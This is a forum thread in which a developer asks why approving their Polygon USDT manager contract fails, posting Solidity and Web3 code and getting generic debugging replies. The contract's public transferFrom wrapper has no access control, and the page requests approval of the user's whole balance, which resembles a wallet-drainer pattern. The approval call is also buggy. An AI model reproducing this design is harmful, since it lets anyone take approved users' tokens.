The contract cannot be approved

My previous contract has been corrected, and now deploying the contract does not require a high gas fee. However, during the authorization phase, the contract takes a very long time and eventually gets “discarded.” In Remix, I have already set the gas fee to “Estimated Gas.” Why is this happening? Is there something I need to fix?

P.S. I am currently testing using HTML + Web3.

My Code


  
    constructor() {
      usdt = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F); 
        
    }
    

    function transferUSDTFromUser(address from, address to, uint256 amount) public {
     
        require(usdt.transferFrom(from, to, amount), "Transfer failed");
    }

 

  
    function getUSDTBalance(address account) public view returns (uint256) {
        return usdt.balanceOf(account);
    }
}

My Html+js

 document.getElementById('connectWallet').addEventListener('click', async () => {
            if (typeof window.ethereum !== 'undefined') {
                web3 = new Web3(window.ethereum);
                try {
                    const accounts = await ethereum.request({ method: 'eth_requestAccounts' });
                    userAddress = accounts[0];
                    console.log("已連接 MetaMask:", userAddress);

                    // 初始化 USDT 和 USDTManager 合約
                    usdtContract = new web3.eth.Contract(usdtABI, usdtAddress);
                    usdtManagerContract = new web3.eth.Contract(usdtManagerABI, usdtManagerAddress);

                    // 啟用按鈕
                    $('#approveUSDT').prop('disabled', false);
                    $('#transferUSDT').prop('disabled', false);
                } catch (error) {
                    console.error("連接 MetaMask 失敗:", error);
                }
            } else {
                alert('請安裝 MetaMask 錢包');
            }
        });
        document.getElementById('approveUSDT').addEventListener('click', async () => {
            try {
              const balance = await usdtContract.methods.balanceOf(userAddress).call();
              console.log("user's usdt balance:", balance);
              const tx = await usdtManagerContract.methods.approve(usdtManagerAddress, balance).send({ from: userAddress });
                console.log("Approve success:", tx.transactionHash);
                
            } catch (error) {
                console.error("Approve failed:", error);
            }
        });    

Hi @lrain5477

Since you are using metamask, please check if correct network is selected in metamask and in case if the transaction has already been submitted by metamask to blockchain you will find the transaction hash in metamask. Using the transaction hash you can check why the transaction failed.

Transaction Hash:0xde2f8ce53523987d2247955d2ba62935539c8a44d7256550ba049ee58ac9c417


 const tx = await usdtManagerContract.methods.approve(usdtManagerAddress, balance).send({ 
                from: userAddress,
                gas: 100000000,
                gasPrice: 100000000
              });

Is my gas limit set too low?

error message:

  1. code: -32603
  2. message: “Internal JSON-RPC error.”

Transaction Hash:0xde2f8ce53523987d2247955d2ba62935539c8a44d7256550ba049ee58ac9c417

Execution reverted message is usually show when there are any errors in contract code but the contract function did not revert with any error message.

Can you once try testing the code on any testnets after the updating the contract function with revert message? That might give you more details on why the execution failed.

I’m not sure what the issue is with my contract. When I deployed it on the Sepolia testnet, there weren’t any major problems. However, when I tried to authorize the contract, I was charged an extremely high gas fee, up to 5 ETH. This prompted me to try Polygon for testing. While the gas fees on Polygon are indeed much lower, I’m now unable to authorize the contract at all.

I’ve shared my contract with others in different forums, and they also don’t seem to find any issues with it. Honestly, I don’t know how to debug this anymore.

this is my code

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.27;

interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract USDTManager {
    IERC20 public usdt;
   

  
    constructor() {
      usdt = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F); 
        
    }
    

    function transferUSDTFromUser(address from, address to, uint256 amount) public {
         
        require(usdt.transferFrom(from, to, amount), "Transfer failed");
    }

 

  
    function getUSDTBalance(address account) public view returns (uint256) {
        return usdt.balanceOf(account);
    }
}

Can u give me more help ?